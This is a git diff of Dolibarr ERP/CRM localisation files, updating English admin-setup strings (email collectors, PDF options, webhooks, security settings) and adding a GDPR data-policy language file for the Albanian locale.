BankModuleNotActive=Bank accounts module not enabled ShowBugTrackLink=Show the link "%s" ShowBugTrackLinkDesc=Keep empty to not display this link, use value 'github' for the link to the Dolibarr project or define directly an url 'https://...' Alerts=Alerts -DelaysOfToleranceBeforeWarning=Delay before displaying a warning alert for: +DelaysOfToleranceBeforeWarning=Displaying a warning alert for... DelaysOfToleranceDesc=Set the delay before an alert icon %s is shown onscreen for the late element. Delays_MAIN_DELAY_ACTIONS_TODO=Planned events (agenda events) not completed Delays_MAIN_DELAY_PROJECT_TO_CLOSE=Project not closed in time @@ -1228,11 +1246,13 @@ BrowserName=Browser name BrowserOS=Browser OS ListOfSecurityEvents=List of Dolibarr security events SecurityEventsPurged=Security events purged +TrackableSecurityEvents=Trackable security events LogEventDesc=Enable logging for specific security events. Administrators the log via menu %s - %s. Warning, this feature can generate a large amount of data in the database. AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=System information is miscellaneous technical information you get in read only mode and visible for administrators only. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1283,6 +1303,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=You must run this command from YourPHPDoesNotHaveSSLSupport=SSL functions not available in your PHP DownloadMoreSkins=More skins to download SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1339,6 +1361,7 @@ TransKeyWithoutOriginalValue=You forced a new translation for the translation ke TitleNumberOfActivatedModules=Activated modules TotalNumberOfActivatedModules=Activated modules: %s / %s YouMustEnableOneModule=You must at least enable 1 module +YouMustEnableTranslationOverwriteBefore=You must first enable translation overwriting to be allowed to replace a translation ClassNotFoundIntoPathWarning=Class %s not found in PHP path YesInSummer=Yes in summer OnlyFollowingModulesAreOpenedToExternalUsers=Note, only the following modules are available to external users (irrespective of the permissions of such users) and only if permissions are granted:
      @@ -1368,7 +1391,7 @@ GetBarCode=Get barcode NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1420,6 +1443,12 @@ WatermarkOnDraftInvoices=Watermark on draft invoices (none if empty) PaymentsNumberingModule=Payments numbering model SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup +InvoiceCheckPosteriorDate=Check facture date before validation +InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Commercial proposals module setup ProposalsNumberingModules=Commercial proposal numbering models @@ -1462,11 +1491,12 @@ WatermarkOnDraftContractCards=Watermark on draft contracts (none if empty) ##### Members ##### MembersSetup=Members module setup MemberMainOptions=Main options +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Manage a Login for each member AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Checkbox to send mail confirmation to members (validation or new subscription) is on by default MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1728,8 +1758,8 @@ ActivateFCKeditor=Activate advanced editor for: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG creation/edition for mass eMailings (Tools->eMailing) FCKeditorForUserSignature=WYSIWIG creation/edition of user signature FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1752,7 +1782,7 @@ DetailMenuHandler=Menu handler where to show new menu DetailMenuModule=Module name if menu entry come from a module DetailType=Type of menu (top or left) DetailTitre=Menu label or label code for translation -DetailUrl=URL where menu send you (Absolute URL link or external link with http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Condition to show or not entry DetailRight=Condition to display unauthorized grey menus DetailLangs=Lang file name for label code translation @@ -1823,7 +1853,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Bookmark module setup BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1861,7 +1891,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind module setup -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Note that your ip to country data file must be inside a directory your PHP can read (Check your PHP open_basedir setup and filesystem permissions). YouCanDownloadFreeDatFileTo=You can download a free demo version of the Maxmind GeoIP country file at %s. YouCanDownloadAdvancedDatFileTo=You can also download a more complete version, with updates, of the Maxmind GeoIP country file at %s. @@ -1912,11 +1942,13 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over HighlightLinesColor=Highlight color of the line when the mouse passes over (use 'ffffff' for no highlight) HighlightLinesChecked=Highlight color of the line when it is checked (use 'ffffff' for no highlight) +UseBorderOnTable=Show left-right borders on tables BtnActionColor=Color of the action button TextBtnActionColor=Text color of the action button TextTitleColor=Text color of Page title @@ -1925,7 +1957,7 @@ PressF5AfterChangingThis=Press CTRL+F5 on keyboard or clear your browser cache a NotSupportedByAllThemes=Will works with core themes, may not be supported by external themes BackgroundColor=Background color TopMenuBackgroundColor=Background color for Top menu -TopMenuDisableImages=Hide images in Top menu +TopMenuDisableImages=Icon or Text in Top menu LeftMenuBackgroundColor=Background color for Left menu BackgroundTableTitleColor=Background color for Table title line BackgroundTableTitleTextColor=Text color for Table title line @@ -1938,7 +1970,7 @@ EnterAnyCode=This field contains a reference to identify the line. Enter any val Enter0or1=Enter 0 or 1 UnicodeCurrency=Enter here between braces, list of byte number that represent the currency symbol. For example: for $, enter [36] - for brazil real R$ [82,36] - for €, enter [8364] ColorFormat=The RGB color is in HEX format, eg: FF0000 -PictoHelp=Icon name in dolibarr format ('image.png' if into the current theme directory, 'image.png@nom_du_module' if into the directory /img/ of a module) +PictoHelp=Icon name in format:
      - image.png for an image file into the current theme directory
      - image.png@module if file is into the directory /img/ of a module
      - fa-xxx for a FontAwesome fa-xxx picto
      - fonwtawesome_xxx_fa_color_size for a FontAwesome fa-xxx picto (with prefix, color and size set) PositionIntoComboList=Position of line into combo lists SellTaxRate=Sales tax rate RecuperableOnly=Yes for VAT "Not Perceived but Recoverable" dedicated for some state in France. Keep value to "No" in all other cases. @@ -1966,6 +1998,7 @@ MailToSendSupplierOrder=Purchase orders MailToSendSupplierInvoice=Vendor invoices MailToSendContract=Contracts MailToSendReception=Receptions +MailToExpenseReport=Expense reports MailToThirdparty=Third parties MailToMember=Members MailToUser=Users @@ -2019,6 +2052,7 @@ MAIN_PDF_MARGIN_RIGHT=Right margin on PDF MAIN_PDF_MARGIN_TOP=Top margin on PDF MAIN_PDF_MARGIN_BOTTOM=Bottom margin on PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Height for logo on PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame @@ -2036,8 +2070,10 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) -GDPRContactDesc=If you store data about European companies/citizens, you can name the contact who is responsible for the General Data Protection Regulation here +GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip HelpOnTooltipDesc=Put text or a translation key here for the text to show in a tooltip when this field appears in a form YouCanDeleteFileOnServerWith=You can delete this file on the server with Command Line:
      %s @@ -2048,27 +2084,47 @@ VATIsUsedIsOff=Note: The option to use Sales Tax or VAT has been set to SwapSenderAndRecipientOnPDF=Swap sender and recipient address position on PDF documents FeatureSupportedOnTextFieldsOnly=Warning, feature supported on text fields and combo lists only. Also an URL parameter action=create or action=edit must be set OR page name must end with 'new.php' to trigger this feature. EmailCollector=Email collector +EmailCollectors=Email collectors EmailCollectorDescription=Add a scheduled job and a setup page to scan regularly email boxes (using IMAP protocol) and record emails received into your application, at the right place and/or create some records automatically (like leads). NewEmailCollector=New Email Collector EMailHost=Host of email IMAP server +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Mailbox source directory MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now -ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s ? +ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try DateLastcollectResultOk=Date of latest collect success LastResult=Latest result +EmailCollectorHideMailHeaders=Do not include the content of email header into the saved content of collected e-mails +EmailCollectorHideMailHeadersHelp=When enabled, e-mail headers are not added at the end of the email content that is saved as an agenda event. EmailCollectorConfirmCollectTitle=Email collect confirmation -EmailCollectorConfirmCollect=Do you want to run the collection for this collector now ? +EmailCollectorConfirmCollect=Do you want to run this collector now? +EmailCollectorExampleToCollectTicketRequestsDesc=Collect emails that match some rules and create automatically a ticket (Module Ticket must be enabled) with the email informations. You can use this collector if you provide some support by email, so your ticket request will be automatically generated. Activate also Collect_Responses to collect answers of your client directly on the ticket view (you must reply from Dolibarr). +EmailCollectorExampleToCollectTicketRequests=Example collecting the ticket request (first message only) +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Scan your mailbox "Sent" directory to find emails that was sent as an answer of another email directly from your email software and not from Dolibarr. If such an email is found, the event of answer is recorded into Dolibarr +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=Example collecting e-mail answers sent from an external e-mail software +EmailCollectorExampleToCollectDolibarrAnswersDesc=Collect all emails that are an answer of an email sent from your application. An event (Module Agenda must be enabled) with the email response will be recorded at the good place. For example, if you send a commercial proposal, order, invoice or message for a ticket by email from the application, and the recipient answers your email, the system will automatically catch the answer and add it into your ERP. +EmailCollectorExampleToCollectDolibarrAnswers=Example collecting all ingoing messages being answers to messages sent from Dolibarr' +EmailCollectorExampleToCollectLeadsDesc=Collect emails that match some rules and create automatically a lead (Module Project must be enabled) with the email informations. You can use this collector if you want to follow your lead using the module Project (1 lead = 1 project), so your leads will be automatically generated. If the collector Collect_Responses is also enabled, when you send an email from your leads, proposals or any other object, you may also see answers of your customers or partners directly on the application.
      Note: With this initial example, the title of the lead is generated including the email. If the thirdparty can't be found in database (new customer), the lead will be attached to the thirdparty with ID 1. +EmailCollectorExampleToCollectLeads=Example collecting leads +EmailCollectorExampleToCollectJobCandidaturesDesc=Collect emails applying to job offers (Module Recruitment must be enabled). You can complete this collector if you want to automatically create a candidature for a job request. Note: With this initial example, the title of the candidature is generated including the email. +EmailCollectorExampleToCollectJobCandidatures=Example collecting job candidatures received by e-mail NoNewEmailToProcess=No new email (matching filters) to process NothingProcessed=Nothing done -XEmailsDoneYActionsDone=%s emails qualified, %s emails successfully processed (for %s record/actions done) +XEmailsDoneYActionsDone=%s emails pre-qualified, %s emails successfully processed (for %s record/actions done) RecordEvent=Record an event in agenda (with type Email sent or received) CreateLeadAndThirdParty=Create a lead (and a third party if necessary) -CreateTicketAndThirdParty=Create a ticket (linked to a third party if the third party was loaded by a previous operation, with no third party otherwise) +CreateTicketAndThirdParty=Create a ticket (linked to a third party if the third party was loaded by a previous operation or was guessed from a tracker in email header, without third party otherwise) CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) @@ -2082,14 +2138,14 @@ CreateCandidature=Create job application FormatZip=Zip MainMenuCode=Menu entry code (mainmenu) ECMAutoTree=Show automatic ECM tree -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Opening hours OpeningHoursDesc=Enter here the regular opening hours of your company. ResourceSetup=Configuration of Resource module UseSearchToSelectResource=Use a search form to choose a resource (rather than a drop-down list). DisabledResourceLinkUser=Disable feature to link a resource to users DisabledResourceLinkContact=Disable feature to link a resource to contacts -EnableResourceUsedInEventCheck=Enable feature to check if a resource is in use in an event +EnableResourceUsedInEventCheck=Prohibit the use of the same resource at the same time in the agenda ConfirmUnactivation=Confirm module reset OnMobileOnly=On small screen (smartphone) only DisableProspectCustomerType=Disable the "Prospect + Customer" third party type (so third party must be "Prospect" or "Customer", but can't be both) @@ -2134,7 +2190,7 @@ DeleteEmailCollector=Delete email collector ConfirmDeleteEmailCollector=Are you sure you want to delete this email collector? RecipientEmailsWillBeReplacedWithThisValue=Recipient emails will be always replaced with this value AtLeastOneDefaultBankAccountMandatory=At least 1 default bank account must be defined -RESTRICT_ON_IP=Allow access to some host IP only (wildcard not allowed, use space between values). Empty means every hosts can access. +RESTRICT_ON_IP=Allow API access to only certain client IPs (wildcard not allowed, use space between values). Empty means every clients can access. IPListExample=127.0.0.1 192.168.0.2 [::1] BaseOnSabeDavVersion=Based on the library SabreDAV version NotAPublicIp=Not a public IP @@ -2144,6 +2200,10 @@ EmailTemplate=Template for email EMailsWillHaveMessageID=Emails will have a tag 'References' matching this syntax PDF_SHOW_PROJECT=Show project on document ShowProjectLabel=Project Label +PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name +THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty +ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2172,12 +2232,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Recommended NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2185,6 +2245,7 @@ NoExternalModuleWithUpdate=No updates found for external modules SwaggerDescriptionFile=Swagger API description file (for use with redoc for example) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=You enabled deprecated WS API. You should use REST API instead. RandomlySelectedIfSeveral=Randomly selected if several pictures are available +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Database password is obfuscated in conf file DatabasePasswordNotObfuscated=Database password is NOT obfuscated in conf file APIsAreNotEnabled=APIs modules are not enabled @@ -2206,12 +2267,12 @@ DashboardDisableBlockAdherent=Disable the thumb for memberships DashboardDisableBlockExpenseReport=Disable the thumb for expense reports DashboardDisableBlockHoliday=Disable the thumb for leaves EnabledCondition=Condition to have field enabled (if not enabled, visibility will always be off) -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax LanguageAndPresentation=Language and presentation SkinAndColors=Skin and colors -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax PDF_USE_1A=Generate PDF with PDF/A-1b format MissingTranslationForConfKey = Missing translation for %s NativeModules=Native modules @@ -2220,3 +2281,77 @@ API_DISABLE_COMPRESSION=Disable compression of API responses EachTerminalHasItsOwnCounter=Each terminal use its own counter. FillAndSaveAccountIdAndSecret=Fill and save account ID and secret first PreviousHash=Previous hash +LateWarningAfter="Late" warning after +TemplateforBusinessCards=Template for a business card in different size +InventorySetup= Inventory Setup +ExportUseLowMemoryMode=Use a low memory mode +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. + +ModuleWebhookName = Webhook +ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +WebhookSetup = Webhook setup +Settings = Settings +WebhookSetupPage = Webhook setup page +ShowQuickAddLink=Show a button to quickly add an element in top right menu + +HashForPing=Hash used for ping +ReadOnlyMode=Is instance in "Read Only" mode +DEBUGBAR_USE_LOG_FILE=Use the dolibarr.log file to trap Logs +UsingLogFileShowAllRecordOfSubrequestButIsSlower=Use the dolibarr.log file to trap Logs instead of live memory catching. It allows to catch all logs instead of only log of current process (so including the one of ajax subrequests pages) but will make your instance very very slow. Not recommended. +FixedOrPercent=Fixed (use keyword 'fixed') or percent (use keyword 'percent') +DefaultOpportunityStatus=Default opportunity status (first status when lead is created) + +IconAndText=Icon and text +TextOnly=Text only +IconOnlyAllTextsOnHover=Icon only - All texts appears under icon on mouse hover menu bar +IconOnlyTextOnHover=Icon only - Text of icon appears under icon on mouse hover the icon +IconOnly=Icon only - Text on tooltip only +INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices +INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices +INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France +UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. +IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes +NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s diff --git a/htdocs/langs/sq_AL/datapolicy.lang b/htdocs/langs/sq_AL/datapolicy.lang new file mode 100644 index 00000000000..d74fd78070e --- /dev/null +++ b/htdocs/langs/sq_AL/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Klienti +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Klienti +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty 